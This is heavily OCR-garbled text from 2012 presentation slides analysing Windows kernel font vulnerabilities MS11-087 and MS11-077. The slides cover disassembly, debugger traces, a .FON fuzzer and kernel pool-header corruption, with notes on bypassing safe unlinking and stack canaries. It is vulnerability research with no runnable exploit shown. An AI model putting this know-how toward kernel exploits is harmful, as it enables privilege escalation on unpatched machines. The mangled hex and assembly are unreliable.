BF84E9S3 Cmp ec®, ed
BFE4EQSE j1 short 1fc BFBL4EQSF
R
BFBLEQS57 cmp ecx, BFFh
BFBLEYSD jg short loc_ BFBAE963
Y
il e B
BF84E9SF
BF84E9SF loc_ BFS4E9SF:
BF84E95F test BeCH, BCX
BFE4ET61 jge short loc_ BFBLE97L
BF84E961
Yy L J
e e L
BFB4EQGD BFS4EQTH
BF84E963 loc_BFE4E963: BFS4E974 loc BFBLED7L: :
BFBL4EDG63 mow eax, dword BFA19698@ BFBHEQ?M]call dword BFA19678 ; itrp_GetCUTEntryFast
BFEHMEQLE mov dword_BFA1948C, 111Bh| |BFBHEQ7A mov ecx, dword BFA19038
BFS4E972 pop esi BFS4E9E8 mov [ecx], eax
BFS8LE972 retn BFSL4E9E2 add dword_BFA19638, 4
BFB4E989 mov eax, esi |
BFS4E98E pop esi
BFSLE9EC retn
BFE4EYEC @itrp_ RCUTEE endp

42



S

LAl

LLl g

WO O O T

Exploit MS11-087

e T

BFBUEQ4A movzx  edx, word ptr [edx+134h] ; edi=cvtCount
BF84EQ51 mov ecx, [eax] ; ecx=stackBase+@
BF84E953 Cmp ECX, edx

BFB4E9SS j1

short loc_BF84E9SF

il e B

BFS4EOS7 cnp
BFS4EISD jg

ecx, BFFh
short loc BF84E963

L

Ll e

BFS4E9SF

BFS4EOSF loc_BFS4EOSF:
BFS4EISF test
BFS4E9GT jge

BCX, BCX
short loc_BFBYEQ7L

ecx: value ‘stackBase+0’
edx: value Control Value Table

BFS4E961
Yy Y
lal e B3 bl ey
BFBUED63 BFBLE97Y
BFBYE?63 loc_BFB4E963: BFS4ED7Y loc BFBUESTA: .
BF84E?63 mov eax, dword_BFA19698 BFsuEQ?u|call duword_BFA19678 itrp_GetEUTEntryFaSti
BFBUEDGE mov dvord_BFA1968C, 111Bh[ |BFBYE97A mov ecx, duord BFAT9638 ‘
BF84EQ72 pop esi BFSLE98A mov [ecx], eax M
BFBYED73 retn BFBA4ED82 add dword_BFA19638, A4
BF8LE989 mov pax, psi
BFELEYSE pop esi e = I L
BFBA4E9SC retn
BFSLE9SC @itrp RCUTES endp BF85B192
BF85B192
BF85B192
BF85B192 itrp GetCUTEntryFast \groc near
BFESB192 mov eax, dword BRA19464Y
BFESB197 mov edx, [eax+8]
BF85B19d mouw eax, |edx+ecx=h]|
BF85B19D retn
BF85B19D itrp GetCUTEntryFast endp
BF85B19D

3/16/2012
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Exploit MS11-087

kd: rea=x

kd>: p

kd: red=

kd: recx

eax=f=2981f98

edzx=f=2920£f£94

ecx=0000002f
kd: dd edxt+ec=z*4 11

f=e299050 fe29932c
kd: db f=e29932c

f=29932c b8 7f <=0
f=29933= 00 00 00
f=e29934= 00 00 00
f=29935= 00 00 00
f=29936c 00 00 00
f=2993Y= &0 55 Bb
f=299308c 00 =7 45
f=29939= 25 01 £0

mowr

mowr

windZklitrp GetCVTEntrvFast+0=x5:
9374b197 8b5008

edx . dvord ptr [Eax+8]

windZlklitrp GetCWTEntrvFast+0x8:

93Y4b19a 8h048a =8,

bE&-3a
no-on
no-—-on
oo-—-on
no-on
nz-0n
0o0-b9
Sa-—190

dword

ptr [edxt+ecx=*d ]
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Ll e B

BF85B192
BF85B192
BF85B192
BF85B192
BFE5B192
BFRSB197

itrp GetCUTEn
mou eax, dwo
mou

BF85B19A

mou edx

BF85B19
BF85B12D
BFR5B192D

reLn
itrp GetCUTEntryFast endp
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Exploit MS11-087
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00000100 2E oD FF 81 00 03 Ba CO 00 00 00 on [ES 7F CO ES

00000110 1l ©to0 65 E6 SA& 40 60 B& 00 OC &0 1C 00 00 00 OO0 1ag Fpam PEO00D006C  pOxXO00DO00Y LeElss
Qoooo0lz0o ho 0O 00 OO0 OO OO0 00 00 OO OO0 OO0 OO OO 00 a0 0o Checksum O FFOSESO0 000000070 0x00000004  Dakalt...
00000130 o 00 00 00 OO0 00 00 00 00 00 00 00 OO0 00 a0 ag OFFset Qw100 000000074  0x00000004  Datalt...
ooooo014n ho 00 00 OO0 OO0 00 00 00 00 00 00 OO OO0 00 00 00

ooooo1s0 ho 00 00 00 OO0 00 00 00 00 00 OO0 00 60 55 @B EC Length LeabeE SAUCERNEE R b UOCDOR = Do e
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aooool7o no0 30 00 o0 EBES 76 01 00O 00 OF 32 66 25 01 FO 485 v paddingf1] O=00030b9a7 00000001 Lisk=D...
00000180 51 353 4D SA 90 00 75 F7 8B FO S8E EE 3C 03 DE ES ; ;
aooonlon L- 01 00 00 ES OO0 OO0 0O 00 S& S1 E& =D 10 40 00 »  GLYFDirectoryEntry[ 7] glyF Q0000007 Q00000010 GLYFD. ..
000001AD EE 5z =22 12 40 00 40 66 S1 35 Cz 10 75 Fa &3 GO »  HEADDirectoryEntry[5] head D0000005c 000000010 HEADD..
000001EO ps 82 82 2=2 12 40 00 &4 8B 1D 24 01 00 00 8B 5B +  HHEADirectaryEntry[9] hhea 0000009 000000010 HHEAD. ..
onnooico kN 8B 9B ES 00 o0 0o &1 EE BS& 00 00 00 8B &3 A0 o

0000o1Do Lbi 0o oo 2D 77 69 EF &C 75 E7 8D 45 DC 50 53 2E v GenericDirectoryEntry[10] bk Oe000000ac Dex00000010 EEner. ..
000001EQD A FF 92 1a 12 40 00 64 40 &5 00 10 00 00 Sh 45 v LocabDirectoryEntry[11] loca ex000000be 000000010 Locali...
0o00001FO0 FFC 50 6A& 00 8D 45 F4 50 6A FF FF 23 16 12 40 00 b MAXPDirectoryEntry[12] maxp O:000000cc 000000010 MAXPD, ..
[aYlufulufeluls} 65 CO OF 85 AE 00 00 00 B9 CC 02 00 00 80 BD 03 -

ooooo0z1o0 F FF FF =3 C0O F=2 Ak SE 45 F4 =29 =5 CO FD FF FF »  MameRecordDirEntry[13] rarne Ox000000d: 0x00000010 MarnzR. ..
00000220 EE 4D F4 51 Cl =24 2ZA 00 00 5% sD CC FD FF FF C7| o »  GenerichDirectoryEntry[14] post 0e000000ec 0x00000010  Gener...

winaz2klitrp G2t CVTEntrwFas=st+0=x5 :

927480197 8b5003 mowr ed=x dword ptr [sEa=+3]
led > x=a=

=esx=f=292£93

led >
winzZzklitrp Gt CVTEntrwvEFast+0=x9
9274bl19= 2b048a mowr I-E:a:—:,dward Pty [=edx=+e=cz=x*4d ] I

kd > x=d=
=edx=f==2298f94

ld > re=czx
sec==000000Z2fF

ld > dd edst4ecz=#d 171
f=299050
lkd> db f=Z993Z2c

f=299332= B St =0 bs Ol =0 63 bs—3=s 40 &0 b OO O= 60 1= . . - . e o
f=29933= oo oo oo oo oo oo OO oo—oOo0 o0 OO0 o0 OO oo oo oog % % : : Tk
f=29334c oo oo oo oo oo oo o0 oo—o00 OO0 o0 o0 o0 oo oo oog : : : : £
f=29935= oo oo oo oo oo oo OO Odo—o00o OO0 o0 o0 o0 oo oo oog . . . . -
f=2993 6= oo oo oo oo oo oo oo oo—o00o o0 OO0 o0 OO0 oo oo oog . . . . SEE
f=2993 7= &0 55 8b == 21 = f£2 0Z—00 00 =7 45 f£4 00 OO0 OO0 G 2 e e S
f=29933= o0 =¥ 45 f— 00 20 00 o00—kL292 Y& 01 00 OO0 Oof 3IZ2 66 F = .2f
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Exploit MS11-087

000000ED 00 &2 00 1E 00 03 EBA FC 00 0O A | Mame value COffset Size Type
000000C0 00 5E 00 00 00 03 EA D4 00 00 DD 61 ?8 ?D =
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windzZklitrp ILSW4+Ozxd49
937fcodde EbhScascO000000 Lowr =eax . dword ptax [=F

led =
win3dZklatrp TLSWH+Oz=x4f
937 fodS54 Sd8=00010000 l== ==, [2=1+100k]

ld > xrea=x
eax=f=299327c

kd> dbh fe= T

f=2992 7= 55 b ez 21 = f£82 0Z—00 00 45 oo 1 1 5 e
f=29928c o0 =7 45 f— 00 Z0 00 O0—b%9 76 oo (=9 ) R T N . 2t
f=29929= 25 01 f£f0 48 21 28 44 S5=—90 00 £ 7 D= . H.8HZ . . &
f=2992ac 2 02 de =2 22 01 00 00—=2 00O 21 =a o 2iaain L
f=22992b= 2Z2d 10 40 00 S8k =22 22 12—40 00 21 2828 =2 10 =@ " @ @f 8
ft=2992cc 75 g8 832 =0 Q032 =29 82 22—12 40 8 14 4 01 . B £ SRR (11 e B e =
f=29932d= oo OO0 2k 5k 50 2k 9= BE—0O0 00 =hbh b2 oo [F. —
f=2992=c o0 28bL 832 6= 01 OO0 00 24d—-77 & 75 =7 &d 45 1 =wrimnlu E
led> D

windzZklitrp ILSW+0O0=x55

9237 fcdba £ £40 =11 =S
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Microsoft Windows Bitmapped Font
(.fon)

 Microsoft Windows Bitmapped Fonts (.fon)
come in two different types:

a. New Executable NE (old format used by
Windows 3)NE

b. Portable Executable PE (new 32bit
executable format used in Windows 95 and

above)

Note: Can’t find any complete documentation of Microsoft Windows Bitmapped Font. If you have
any, share with me ©!!
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FON FUZZER

e .FON fuzzer consits of 2 files:
a. mkwinfont.py
- written and/or maintained by Simon
Tatham
- python script generates NE .fon files only
b. fuzzer.py
- written by Byoungyoung Lee
- fuzz the .fon in different width, height
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FON FUZZER

e Some modification:

a. mkwinfont.py
value = string.atol(w, 16) ;support hexadecimal

b. fuzzer.py
if width !=0:
for jin range(height):
fdStr += "A"*width + "\n“
fdStr += "\n"
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FON FUZZER

i || C:'\P}rﬂlonz o -i-l-.i . '..--_'_:' i Ei '.:' Lﬂ;‘ﬂ_
EUCEEEQ: Sent termination signal to the process "Fontuview_.exe' with PID 28048. e
1@

15

puthon_.exe mkwinfont_.py —fon —o test_fon test._fd =
SUCCESS: Sent termination signal to the process "fontview.exe'" with PID 624.

1A

L6 ( =] s
puthon .exe m '_-:E
CUCCESS: Se
18 [
1?

hon .exe

FliccEes T S |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||

18

puthon .exe 1

SUCCESS:= Se

1A

19

puthon .exe

SCUCCESS = Se

1@

2@ |
puthon -.exe =
: 14

| The guick b:

- .
F‘. : il ” - \
= = m=m | =l ‘._'f: L = e & DO 5,0
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Exploit MS11-077

e Discovered by Byoungyoung Lee
e BSOD: BAD POOL HEADER(19)

Interesting bug but based on the analysis,
there is very difficult to bypass the ‘safe
unlinking” in windows kernel pool

e BSOD: DRIVER_OVERRAN_STACK BUFFER(f7)
Possible to bypass the Stack-Canary in Kernel
Land
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Exploit MS11-077

windZk | Bnfd0penFont Context+0xed:

94547£82 Bhd4GE8

nowv

kdy o

vindZk | Bnfd0penFontContext+lzec:

9454785 83c007
kd

add

wind2k ! BnfdOpenFontContext+0xef :

9454788 cle803
kd

shr

windZk | Bnfd0penFont Context+0xf 2

945d47£8b 894dfc

nowv

L x=00000135

d> recx

[
BF837F82
BFB37F82 loc_BF837F82: ; ebp+var_8=000800%ba
BF837F82 mov eax, [ebp+var_8] ; mov eax, [ebp+numElement]
BFB37F8S add eax, 7
BF837F88 chr eax, 3 ; eax=138h
BF837F8B mov [ebp+var_4], ecx ; ecx=006880681
BFB37FBE cmp eax, 10@6h
BF837F93 jbe short loc_BF837FA1 ; mov eax,[ebp+prelefinedSize]
Y
i = NN
BFS37F95 add  eax, 28h ; eax=168h | [BF837FA1 ‘\\\u “\\‘mkd> dd shp-8
BFB3I7F28 mov [ebprvar_%], 3 ; ebprvar_4=3| (BF837FA1 loc_BFB3I7FA1: ; mov eMsda-ffAf
BF837F9F jmp short loc BFB37FAL4 BFB37FA1 mov eax, [ebp+var 1
1 ]
vy
il w5
BF837FAY
BF837FAY4 loc_BF837FAA: 5
BF837FAY4 push G4666D42h ; Tag = dfnmB
BF837FA9 push eax ; HemSize
BF837FAA push ] ; Flags
BF837FAC call EngfAllocHem
BF837FB1 mov esi, eax
BF837FB3 test esi, esi
BF837FB5 jnz short loc_BFB37FC7 ; jmp to BEB37FCY

win32k!BmfdOpenFontContext
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eck=00000001
kdy p

windZk | BnfdOpenFont Context+0xf5;

94547f8e 3400010000
kd

CIp

windzk!BnfdOpenFontContext+lzia;

345d47£93 T60c ke

eax,dvord ptr [ehp—BH

BaE, 7

gax, ]

dword ptr [ebp-4],ecx

gax, 100h

wind2k | Bnfd0penFontContext+0x108 (945d7fal)

;.Fon width=498 (0x1F2)
; eax=(0x1F2)*5=0x9ba
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Exploit MS11-077

BF837F82 loc_BF837F82: ; ebp+var_8-000080%ba
BF837F82 mov eax, [ebp+var_8] ; mov eax, [ebp+numElement]

BFB37F8S add eax, 7

BF837F88 chr eax, 3 ; eax=138h
BF837F8B mov [ebp+var_4], ecx ; ecx=006880681
BFB37FBE cmp eax, 10@6h

BF837F93 jbe

short loc BF837FA1 ; mou eax,[ebp+preDefinedSize]

Y Y led s
o = o = win3Zk | EmfdOpenFontContext+0x10b:
94b77fa4 68426d6664 push 64666042k
BF837F95 add eax, 28h ; eax=166h BFB37FA1 ld
BFB3I7F98 mov [ebprvar_4], 3 ; ebp+var_4=3| (BF837FA1 loc_BFB37FA1: ; mov egk,windZk | BEmfdOpenFontContext+0x110:
BF§37FIF jmp short loc_BFB37FA4 BF837FA1 mov eax, [ebp+uar_14] 34b77fa’? 50 push eax
1

kd: reax
eax=00000160

! T ] /

win32k!BmfdOpenFontContext
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kdr .formats AR466EdD42
Ll / Evaluate expression:
Hex: GdeaEdd2
BFB37FAY :
. . f Decimal: 1684434242
BF837FAY4 loc_BF837FA4: 3 | Octal 14431466502
BF837FAY push  G466GDAZD ; Tag = dfmB Binary: 100 01100110 01101101 01000010
BF837FA9 push eax ; HemSize Chars: dfmB
BF837FAA push ] ; Flags Time: r1 May 19 02:24:02 2023
BF837FAC call Enghllochen Float: low 1.70025=+022 high 0O
BF837FB1 mov esi, eax kdEDEhlE: 8.322218-315
BFE37FB3 test  esi, esl : win32k | BnfdOpenFontContext+0x111 :
BFB37FBS jnz short loc_BF837FC7 ; jmp to BEB37FCY 94b77faa 6all push 0

kd:»

windZlk |EmfdOpenFontContext+0x113:
94b77fac =eR4a530300 call
ld >

windZl | BmfdCpenFontContext+0x118
94b77fbl1l BbfD Moy

kds> reax

winiZk |[EnghllocMen (94badZfh)

=51, 28X

;the ‘EngAllocMem’ function allocates a block of memory (0x160) and inserts

;a ‘Bmfd’ pool tag before the allocation

54




Exploit MS11-077

moy gax, [ebptarg 8]
moy edw, [ebp+var_C]
moy ecx, [ebprarg_4]
cmp gax, edx
inb loc_BF9ERDLE
| \ T
true false
moy edu, [ebp+s
dec edx
iz Joc_BFIERDOD
| |
\
irue false
dec edx
e dliy: Fecxl iz loc_BF9EAFF
true false
3
Moz s ed=, byte ptr [ecx]
shr edx, 4
mow (= _amStPetchSWl[ec&\\
mos [ea=]1, d1 N
Mo~z = ed=, byte ptr [ec=] \
shr edx, <4
(=t dl , byte BFA1O0171[ed=+2Z]
inc EEE
mo sy [ea=x]1. d1
mﬁvzx ESH’ Iiy't.e ptr Cec=]
shr ed:= ,
and ed=x, OFh
sy dl ., _awStretchSwZ[edwx+2]
inc 2a=
mo [ea=x]1. d1
Mo W=z = ed=, byte ptr [ecx] kd> 5
shir semy L. winiZk!vStretchGlyphBitnap+i=cd
ane 21 byt BFALO191[edns2] 94d2af2d 0fbe11 novzE  edx, byte ptr [ecx]
i et kdy db ecyg
Mo s [ea=], dil
movzs  ed=, byte pto [eox] 00cfaadd | aa pa aa aa aa aa as aa—3a a3 @@ 33 88 83 83 83 ...
G con, @ O0cBaaed a& aa aa &2 4a 83 23 38-38 44 83 83 33 33 83 83 ...
i 2l aiSteetohbnllet:]) 00cHaafd =3 23 33 33 43 38 &3 43-54 83 43 83 83 33 83 A3 ... ... ... ...
L — | 00cBabld =3 a3 a3 33 43 33 A3 A38-53 83 A3 83 83 A3 83 A3 . ...............
E 00cBabld =3 a3 a3 33 33 33 33 48-383 33 43 43 83 A3 33 A3 . ... ... ... ... ..
|TE; e E”l 00cBab2d aa as 53 53 83 83 838 53-528 33 33 33 83 83 83 33 .. ...
00cBabid =3 23 33 33 43 38 43 43-53 83 43 83 83 A3 33 A3 .. ... ... ...
= (0czBabdd a3 aa aa &3 53 8@ a3 43-a8 438 83 88 88 a8 83 83 ... ... ...
add ecw=, [ebp+arg_10]
cmp eax, [ebp+war_C]
jb Toc_BFSEAFOB
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Exploit MS11-077

;Font data ‘aa’ will process and the result as index to read from the following array:
a. _awStretch5W1
b. _BFA10171
c. _awStretch5W2
d. _BFA10191
e. _ajStretch5B1

-

[nL=R-4 ed= ,
shr edx, 4
mo d1 .,

mo [2a=].,
Mo = edx ,
shr edx, <4
[ =0% [ 2
inc 2R

mo sy [eax=].
(=R edx,
shr ed:= ,
and edx,
oy =R

inc 2ax

mo [ea=].
MO Z = ed:= ,
shr edx, 1
arnd edx ,
mo d1 .,
inc eax
(=5 [eax],
mo Wz =< ed:= ,
inc ear
and ed=x, 3
(=0 =4
dmp

byte ptr [ec=]

_AawstretchSwille
dl
byte ptr [ec=]

(=N
Eyte ptr Cec=]
1

0Fh
s —AawStretchSwZ[[edw+2]

(=N
byte ptr [ec=]

0Fh
byte_BFAl10191[ed=+2]

(=N}
byte ptr [ec=]

;:3§::

byte _BFA1O01T1[ed=+2Z]

_ajsStretch5SBl[ed=]
Toc_BF9EBOOF

-

mo s
inc

[ea=],

dil
eax

o i

add
cmp
ib

ec=, [ebp+arg_10]
eax, [ebp+war_C]
Tloc_BFSEAFOB
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ld s

wind2k!vStretchGlyphBitnap+i=cs
94d2af2d 0fbeil

kd: db ecx

00c8aadd a
0lcHaaed &3 aa
00zBaafd aa aa
00c8abld aa aa
00c8abld aa aa
00czBab2d aa aa
00zBab3d aa aa
00zBabdd za aa

=1=s
aa
a3
=1=)
aa
a3
a3
aa

=1=s
aa
a3
=1=)
aa
a3
a3
aa

ad
ad
ad
ad
ad
ad
ad
ad

MovZE

ad
ad
ad
ad
ad
ad
ad
ad

=1=
aa
aa
aa
aa
aa
aa
aa

edx, byte ptr [ecz]

4a—3s8
da—3as
da-—3a3a
4a—3as8
da—as
4a-—3a3a
3a-3a3
da—3as

=1=s
aa
a3
=1=)
aa
a3
a3
aa

=1=s
aa
a3
=1=)
aa
a3
a3
aa

ad
ad
ad
ad
ad
ad
ad
ad

ad
ad
ad
ad
ad
ad
ad
ad

aa
aa
aa
aa
aa
aa
aa
aa

aa
aa
aa
aa
aa
aa
aa
aa




Exploit MS11-077

winddk I vstretchGlyphBi tnaptlzch:

94d2at 30 cleald shr edxd

kdy lpool fedddbi?d

Pool page fedddb?d region 13 Paged session pool

ted4d000 15 not & valid large pool allocation, checking large session pool. ..
tedddl50 size: B previous size: 0 (Allocated) Frag  1o) isnalyze —v

fedddlS8 size: 10 previous size: 8 (Freg) Free X _ .
fedddlfl size; 4B previous size; 10 (Allocated) TUaml X RudEheci ARRIERIS :
fedddlbl s1ze: 288 previous size: 48 (ﬁllucated) Gla:
fe&&d&}g EiEEf 19 pfé?iﬁué EiEEf ZBE ( ) UE?T Egg_ggg%_ggéggse;ég)Eoraupt at ﬁhe tiTe of the current request.
. . 1= may or may not be due to the caller.
feddddsl =1ze; &6 PrEVIONE 21ZE: 18 (Allocated) Gh14 Elﬁe int%nal Dgglt}llinks mustlbe w?lkedlpodfigufi out a pi-Sfible Sebiies gf_
i i . = problem. an en special pool applie [m} = SUsSpec ags or = driver
fedddhdl size: 118 previous size: e (Allocated) Tsqu Xi;i;;iista a suspect driver.
felddood size: 766 previous size: 118 (Allocated) Gla: ) B ¥ Bliospage
fedddidl =ize. 290 previous size: 288 (Allocated) Gla: 0 Tic B e eany
. A : Arg4 4a2f0051 {ressrved)
iedddbol s1ze: 176 previous size: [0 (Allocated) sBufd| . o
=sbugging Details:

Fooltag bntd © Pont related stuff

BUGCHECE_STR: 0=19_20

FOOL_ADDRESS: fed44dbe0 Paged =s=essiocn pool
DEFAULT_BUCKET ID: VISTA DRIVERE FAULT

FROCESS HAME: csrzs.exe

CURRENT_IRQL: 2

LAST _CONTROL_TRANSFER: from 828=5=71 to 82874394

STACK_TEXT:

S8cbebedo 82825271 00000003 bd959=8d 00000065 nt!RtlpBreakWithStatuslnstruction
8c56569c 828e696d 00000003 fed4ddbel 000001ff nt!KiBugCheckDebugBreak+0zlc
8cE565a60 829281b6 00000019 00000020 fedddbsl ntlHeBugCheclkZ+0x68b

8c565ad8 94bacl8? fedddbed 00000000 fe78albl nt!ExFresPoolWithTag+0xlbl
8cbbbhasc 94070204 fe44db?8 94c79cdf f21dd9c8 wind2lk | EngFresMem+0x1f

8cEe5b00 94c?9cit fe44db78 8cbebbec 8cBebb48 windl2k ! EmfdCloseFontContext+0=41l
8c565b10 94cB85501 feldd9=8 00000000 8c565bod winidlZk | BmfdDestroyFont+0xl6
8c565b48 94c85554 feldd%=8 00000000 8cB65cdc wind2k | PDEVOET :  DestrovFont+0=67
8c565878 94bif0dle 00000000 8cSe6Sbad 00000001 windZk ! RFONTORD : :vDeleteRFONT+0x33
8ch65bbe 94bf2d15 f=1dd9c8 810a0lbe 8cb6bcdo wind2k |IRFONTORJ @ bHakelInactiveHelper+0x25a
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Exploit MSll 077

fedddbel 51 00 2f 4a 42 6d 66 64-£f0 G4 85 al a2 78 fe 0Q.-JBmfd.].

fed44db70 00 00 00 00 OO0 OO0 00 O0-fc OO0 DD Blizhilizsdehtefiar i H.
fed44db20 00 00 00 00 40 a2 78 fe-01 00 00 00 OS5 OO o0 oo ... .. T
fedd4db90 07 00 00 00 ba 09 00 OO0-&50 55 OO 00 03 00 OO 0O .. ...... 1

fedddbal £8 3= 0f 83 =0 £83 3e 0f-83 =0 £8 3= 0f 83 =0 £8 =0 =00 . x.. ..
fedddbbl 3= 0f 83 =0 £8 3= 0f 83-=0 £8 3= 0f 83 =0 £8 3= > .. >0 . 2.0 . ¢

fedddbc0 0f 83 o0 £8 32 0f 83 e0-£8 3= Of 83 =0 £8 32 Of . ...>....>....>.

fedddbdl 83 =0 £8 3= 0f 83 =0 £8-3= Of 83 =0 £8 3= Of 83 . 0 o0~ °

f=d4dbel =0 £8 3= 0f 83 =0 £8 3=-0f 83 =0 £8 3= 0f 83 0 . s

fed4dbf0 £5 3 Of 83 =0 £8 3e 0£-83 =0 £8 3= Of 83 =0 £8 . :

fedddc00 3= 0f 83 =0 £8 3e 0f 83-e0 £f8 3e Of 83 =0 f8 32 > X ugpheck dnalysis *
feddd=1l0 Of 83 =0 £8 3= 0f 83 =0-f8 3= 0Of 83 =0 £8 3= 0Of .

feddd=20 83 =0 £8 3e Of 83 =0 £8-3= 0f 83 =0 £8 3= 0Of 83

fedddcil el £8 3e Df 83 =0 £8 3=-0f 83 =0 £8 3= 0f 83 =0 '?ﬁg_gggﬁ_?gégﬁseéég)corrupt at the timne of the current request.

fedddcdl f8 3= 0f 83 =0 f£8 3= 0f-83 =0 f8 3= 0f 83 =0 f8 .Hhm}myarnmynmjw(metDthecaMer }

fedddnSiT Fe.f BAEl PR Se0F Gl F8 Fe. 0f B& ol #4385, 3T dutcaal poal links atet bo palked to tigure ont o possible;causs.of
fedidenl Df SEl B e T DElat ge T S EG IR I . oa ol st ey Toon RERRIFRCGRISSISISER SRIREE SRR
fedddc70 83 =0 £8 3e Of 83 =0 £8-3= 0f 83 =0 £8 3= 0Of 83 . Arguents: o

f=44de80 o0 £8 3= Of 83 =0 £8 3=-0f 83 =0 £8 3= 0f 83 =0 . i33 RN 5,0o0) Block hender ios 12 Comunt i the pae
fedddci0 £8 3= 0f 83 e £8 3= 0f-83 o0 £8 3o 0f 83 o0 £8 . [ags fciideds ] The next pool entry. '
fedddcal 3= 0f 83 =0 £8 3= 0f 83-=0 £8 3= 0f 83 =0 8 3= - froer—teieed™ (reserved)

fedddchd 0f 83 =0 £8 3= 0f 83 =0-f8 3e IIIf 83 =0 £8 3e Of
fedddoccl 83 =0 £8 3e 0f 83 =0 f8-3= el £8 3= 0f 83
fedddedd 0 £8 3= 0f 83 =0 f8 —m 46 47 61 38
fedd4dce0 11 07 08 1b 01 00 00 oo oo
fedddcf0 08 82 00 00 00 OO0 00 OO-8 Nt
fe44dd00 00 00 00 00 OO0 00 OO0
fed4ddl0 00 00 00 00 OO0 00 00

"Debugglng Details:

CHECE_STR: 0=19_20

fed4dbel Paged =ses=zion pool

® DRIVER_FAULT

Overwrite 3 bytes in
next pool header

JRANSFER: from 828e5e7l to 82874394

228ebe?1 00000003 bd959=8d 00000065 nt!EtlpBreakWithStatuslnstruction

8ch56569c 828=2696d 00000003 fedd4dbe0 000001ff nt!KiBugCheckDebugBreak+0zlc

Bch565a60 829281b6 00000019 00000020 fedddbéd nt!KeBugCheckZ+0x68b

8c565ad8 94baclf9 fed4d4dbi8 00000000 f=78a2b0 nt!ExFresPoolVWithTag+0xlbl

8chbbasc 94c?0204 fedddb?8 94c79cdi feldd9c8 windl2lk!EngFresden+l=zlf

8cE65b00 94c79cEt fe44db78 BcS6Sbec 8cBebb4d windZk!BmnidCloseFontContext+0x4l

8c565b10 94cB5501 feldd9c8 00000000 8c565bcd winld2k!BmidDestroyFont+0xl6

8c565b48 94cBE5554 fe1dd9%:8 00000000 8c565cdc winld2k!FDEVOR]T: :DestroyFont+0=67

8c265b78 94bfldle 00000000 B8c565bad 00000001 wind2k!RFONTOB]: :vDeleteRFONT+0x33
8cheEbbe 94bf 2415 felddf9=8 810a0lbe 8c565cdc wind2k |RFONTORT : :bMakelnactiveHelper+0=25a
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Limitation of Exploit MS11-077

|[BFREAF27 jnz loc_BF9EBB12]

Y Y ¥
1TRFEE s B

BFPEAFZ2D mouzx edx, byte ptr [ecx] BFPEAFCA
c_BF9EAFB2: BF?EAF38 shr edx, 4 BF2EAFC1 loc_BF2EAFCA
uEH edx, byte ptr [ecx] BF2EAF33 | mov dl, awStretchS5W[edx=2]| | [BFPEAFC1 movzx ed:,
o ed=, 4 BF?EAF3A mou leax], dl BF?EAFCh shr edx,
u dl, awitretchifed==2] BF2EAF3C mouvzx edx, byte ptr [ecx] BF2EAFCY mou dl,
u [ea=], dl BFPEAF3IF shr edx, 4 BFP?EAFCD mou [ea=
UzZx edx, byte ptr [ecx] BFDEHFH2|muu dl, hyte_BFH1ﬂ1?1[edx*2ﬂ BFPEAFCF mouzx edx,
v edx, 4 BF?EAF 42 1IncC eax BF?EAFD2 shr edx,
u dl, byte BFA18151[edx=2] BF2EAF4A mow [eax], dl BF2EAFDS and edx,
c eax BFPEAFLC mouzx edx, byte ptr [ecx] BF?EAFDE mou dl,
u [ea=], dl BF?EAF4F shr edx, 1 BF9EAFDE inc eax
uzx edx, byte ptr [ecx] BF2EAF51 _and edx, BFh BF2EAFDF mow [ea:
d ed=, BFh EFPEHF5u|muu dl, awStretchSHE[edx*z]l BF2EAFE1 mouvzx ed:,
u dl, awStretchi[ed==2] BFYEAFSB 1nc eax BF9EAFEY4 inc eax
C eax BF2EAFSC mou [eax], dl BF2?EAFES and edx=,
u [ea=], dl BFPEAFSE mouzx edx, byte ptr [ecx] BF?EAFEE mou dl,
4 ed=x, byte ptr [ecx] BF2EAF61 shr ed=z, 1 BFPEAFEE jmp shor
C eax BF?EAF63 and edx, BFh
d edx, BFh BF2EAF66 [mou dl, byte BFA18191[edx=*2]
u dl, byte BFA18151[edx=2] BF2EAFGD inc eax
p short loc_ BFPEBOBF BF?EAFGE mou [eax], dl

BF2EAF7 A movzx edx, byte ptr [ecx]

BFPEAF?3 inc eax

BF2EAFYY4 and edx, 3
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BFPEAF?7 |mou dl, ajStretch5B1[edx]

BFPEAF7D jmp loc_BF9EBBOF

J

IEEEX,

win32k!vStretchGlyphBitmap
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Limitation of Exploit MS11-077

|BE¥EHFZ S J0EZ

lDC_HrHtHH1Zl

.

.

L

bl e =T

BF9EAF2D movzx
BF?EAF38 shr

edx, byte ptr [ecx]
ed=, &I

BFPEAF33 | mov

dl, awStretchS5Wi[edx*2]]|

BF9EAF3A mov
BFP?EAF3C mouvzx
BFYEAF3F shr

[eax], dl
edx, byte ptr [ecx]
edx, 4

BFQEHFHElmDU

dl, byte BFA10171[edx=2]]

BFPEAF4? 1IncC eax
BF2EAF4A mou [eax], dl
BFPEAF4C mouzx edx, byte ptr [ecx]
BF2EAF4F shr edx, 1
BF9EAF51 _and edx, BFh
BFO9EAFSY4 | mov dl, awStretchSHE[de*E]I
BF?EAFSE 1nc eax
BF2EAFS5C mou [eax]., dl
BF9EAFSE mouzx edx, byte ptr [ecx]
BF?EAFG61 shr edx, 1
BFPEAFG3 and edx, BFh
BF9EAF66 [mou dl, byte BFA1B191[edx*2]
BF?EAFGD 1nc eax
BF2EAFSGE mou [eax]., dl
BFPEAFTO mouzx ed¥, byte ptr [ecH]
BFPEAF73 inc eax
BF?EAF74 and edx, 3
BF2EAF77 [mou dl, ajStretchSBi[edx]
BFREAF7D jmp loc_BF2EBOAF

T
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T Do m@m

= | ==

char awitretch5UWUALT ]

win32k!vStretchGlyphBitmap

-data-BFATBE178 awsStretchSiM db @
-dataz:BFAR18171 ; char byte_BFA18171[]
-datac-BFA1TB8171 byte_ BFA18171 db @
-dataz:BFA1B8172 db a
-data-BFA1B8173 db 1
-data-BFA18174L db a
-data:BFA1B817S db SFEh ; >
-data:BFA18174 db a
-data:BFA18177 db 3Fh : 7
-data:BFAR1B817E db T
-datac:BFA1B8172 db 8cah ; -+
-data-BFA1817A db i
-datac-BFA1B817EB db 8cih ; -
-data:BFA1817C db ra
-data:BFA1B817D db 8FEh :; |
-data:BFA1817E db i
-data:BFA1B817F db OGFFh
-datac-BFE1B188 dab aFsn s ©
-data-BFA168181 db a
-data:BFA1T1BI82 db 8F8h : *
-data-BFA1B183 db 1
-data:BFAT1B818L db 8F8h : -
-data:-BFA1B8185 db 3Eh ; >
-data:BFAT1B8184 db OF8h : -
